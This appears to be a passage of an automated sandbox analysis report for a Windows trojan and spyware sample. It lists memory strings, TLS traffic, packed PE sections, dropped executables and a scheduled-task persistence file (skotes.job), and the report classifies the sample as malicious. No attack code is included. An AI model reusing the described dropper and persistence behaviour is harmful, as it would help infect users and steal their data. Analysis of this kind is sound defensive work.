Source: file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_103.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_103.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_103.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_103.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: GHDBKFHIJKJKECAAAECA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_103.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: file.exe, 00000000.00000002.1999524290.00000000233A1000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_103.5.dr	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_103.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_103.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_103.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: file.exe, 00000000.00000002.1999524290.00000000233A1000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1978262092.00000000006DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: file.exe, 00000000.00000002.1978262092.00000000006DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1978262092.00000000006DC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1865919036.0000000023610000.00000004.00000020.00020000.00000000.sdmp, KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49741 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: JDGIECGIEB.exe.0.dr	Static PE information: section name:
Source: JDGIECGIEB.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name: .idata
Source: 931e3b56d4.exe.20.dr	Static PE information: section name:
Source: 931e3b56d4.exe.20.dr	Static PE information: section name: .idata
Source: 931e3b56d4.exe.20.dr	Static PE information: section name:

Source: C:\Users\user\Documents\JDGIECGIEB.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3ECD0	0_2_6CB3ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADECC0	0_2_6CADECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBAC30	0_2_6CBBAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA6C00	0_2_6CBA6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEAC60	0_2_6CAEAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6CDC0	0_2_6CC6CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4DB0	0_2_6CAE4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB76D90	0_2_6CB76D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0AD50	0_2_6CC0AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAED70	0_2_6CBAED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC68D20	0_2_6CC68D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB66E90	0_2_6CB66E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEAEC0	0_2_6CAEAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB80EC0	0_2_6CB80EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC0E20	0_2_6CBC0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7EE70	0_2_6CB7EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEEFB0	0_2_6CAEEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBEFF0	0_2_6CBBEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE0FE0	0_2_6CAE0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC28FB0	0_2_6CC28FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6F10	0_2_6CAE6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA2F70	0_2_6CBA2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC20F20	0_2_6CC20F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4EF40	0_2_6CB4EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE68E0	0_2_6CBE68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB30820	0_2_6CB30820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6A820	0_2_6CB6A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB4840	0_2_6CBB4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA09B0	0_2_6CBA09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB709A0	0_2_6CB709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9A9A0	0_2_6CB9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB149F0	0_2_6CB149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFC9E0	0_2_6CBFC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB36900	0_2_6CB36900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB18960	0_2_6CB18960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5EA80	0_2_6CB5EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB98A30	0_2_6CB98A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8EA00	0_2_6CB8EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5CA70	0_2_6CB5CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB80BA0	0_2_6CB80BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE6BE0	0_2_6CBE6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0A480	0_2_6CC0A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB264D0	0_2_6CB264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7A4D0	0_2_6CB7A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6A430	0_2_6CB6A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB44420	0_2_6CB44420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF8460	0_2_6CAF8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD45B0	0_2_6CAD45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6E5F0	0_2_6CB6E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAA5E0	0_2_6CBAA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC28550	0_2_6CC28550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB80570	0_2_6CB80570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB42560	0_2_6CB42560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB38540	0_2_6CB38540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE4540	0_2_6CBE4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3E6E0	0_2_6CB3E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7E6E0	0_2_6CB7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB046D0	0_2_6CB046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C650	0_2_6CB3C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0A7D0	0_2_6CB0A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60700	0_2_6CB60700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBC0B0	0_2_6CBBC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF00B0	0_2_6CAF00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD8090	0_2_6CAD8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA8010	0_2_6CBA8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAC000	0_2_6CBAC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2E070	0_2_6CB2E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE01E0	0_2_6CAE01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB56130	0_2_6CB56130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC4130	0_2_6CBC4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB48140	0_2_6CB48140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC662C0	0_2_6CC662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAE2B0	0_2_6CBAE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB22A0	0_2_6CBB22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB8220	0_2_6CBB8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAA210	0_2_6CBAA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB68260	0_2_6CB68260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78250	0_2_6CB78250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3E3B0	0_2_6CB3E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB123A0	0_2_6CB123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB343E0	0_2_6CB343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB52320	0_2_6CB52320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC22370	0_2_6CC22370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB76370	0_2_6CB76370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE2370	0_2_6CAE2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFC360	0_2_6CBFC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE8340	0_2_6CAE8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1DCD0	0_2_6CC1DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7FC80	0_2_6CB7FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA1CE0	0_2_6CBA1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC09C40	0_2_6CC09C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF1C30	0_2_6CAF1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE3C40	0_2_6CAE3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD3D80	0_2_6CAD3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC29D90	0_2_6CC29D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB1DC0	0_2_6CBB1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB43D00	0_2_6CB43D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB03EC0	0_2_6CB03EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC65E60	0_2_6CC65E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEDE10	0_2_6CBEDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3BE70	0_2_6CC3BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC63FC0	0_2_6CC63FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB01F90	0_2_6CB01F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8BFF0	0_2_6CB8BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFDFC0	0_2_6CBFDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15F20	0_2_6CB15F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5F30	0_2_6CAD5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC37F20	0_2_6CC37F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3B8F0	0_2_6CC3B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBF8F0	0_2_6CBBF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAED8E0	0_2_6CAED8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB138E0	0_2_6CB138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7F8C0	0_2_6CB7F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3D810	0_2_6CB3D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB1990	0_2_6CBB1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF1980	0_2_6CAF1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB459F0	0_2_6CB459F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB779F0	0_2_6CB779F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB199D0	0_2_6CB199D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB799C0	0_2_6CB799C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB95920	0_2_6CB95920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2F900	0_2_6CC2F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5F960	0_2_6CB5F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9D960	0_2_6CB9D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBDAB0	0_2_6CBBDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE1AE0	0_2_6CAE1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDDA30	0_2_6CBDDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC69A50	0_2_6CC69A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1FA10	0_2_6CB1FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB81A10	0_2_6CB81A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA9BB0	0_2_6CBA9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB39BA0	0_2_6CB39BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC5B90	0_2_6CBC5B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD1B80	0_2_6CAD1B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB27BF0	0_2_6CB27BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2BB20	0_2_6CB2BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBFB60	0_2_6CBBFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE14E0	0_2_6CAE14E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC614A0	0_2_6CC614A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC9430	0_2_6CBC9430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6D410	0_2_6CB6D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB19590	0_2_6CB19590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB655F0	0_2_6CB655F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB47500	0_2_6CB47500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF5510	0_2_6CAF5510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2F510	0_2_6CC2F510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB116A0	0_2_6CB116A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB496A0	0_2_6CB496A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB57610	0_2_6CB57610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB09600	0_2_6CB09600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB35640	0_2_6CB35640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9650	0_2_6CAF9650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC237C0	0_2_6CC237C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B7A0	0_2_6CB6B7A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB03720	0_2_6CB03720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB9720	0_2_6CBB9720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4D710	0_2_6CB4D710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB97090	0_2_6CB97090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B020	0_2_6CB2B020
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_00197049	16_2_00197049
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_00198860	16_2_00198860
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_001978BB	16_2_001978BB
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_001931A8	16_2_001931A8
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_00154B30	16_2_00154B30
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_00192D10	16_2_00192D10
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_00154DE0	16_2_00154DE0
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_00187F36	16_2_00187F36
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: 16_2_0019779B	16_2_0019779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005F7049	17_2_005F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005F8860	17_2_005F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005F78BB	17_2_005F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005F31A8	17_2_005F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005B4B30	17_2_005B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005F2D10	17_2_005F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005B4DE0	17_2_005B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005E7F36	17_2_005E7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_005F779B	17_2_005F779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005F7049	18_2_005F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005F8860	18_2_005F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005F78BB	18_2_005F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005F31A8	18_2_005F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005B4B30	18_2_005B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005F2D10	18_2_005F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005B4DE0	18_2_005B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005E7F36	18_2_005E7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_005F779B	18_2_005F779B

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005CDF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005C80C0 appears 260 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB03620 appears 98 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC609D0 appears 353 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC19F30 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC6D930 appears 71 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB09B10 appears 109 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC6DAE0 appears 89 times
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Code function: String function: 001680C0 appears 130 times

Source: 931e3b56d4.exe.20.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.0.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2009022640.000000006FE52000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.997838356316726
Source: random[1].exe.0.dr	Static PE information: Section: zhhhapid ZLIB complexity 0.9954010928856791
Source: 931e3b56d4.exe.20.dr	Static PE information: Section: ZLIB complexity 0.997838356316726
Source: 931e3b56d4.exe.20.dr	Static PE information: Section: zhhhapid ZLIB complexity 0.9954010928856791

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@38/60@6/8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB40300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CB40300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\STFTSJRY.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\JDGIECGIEB.exe

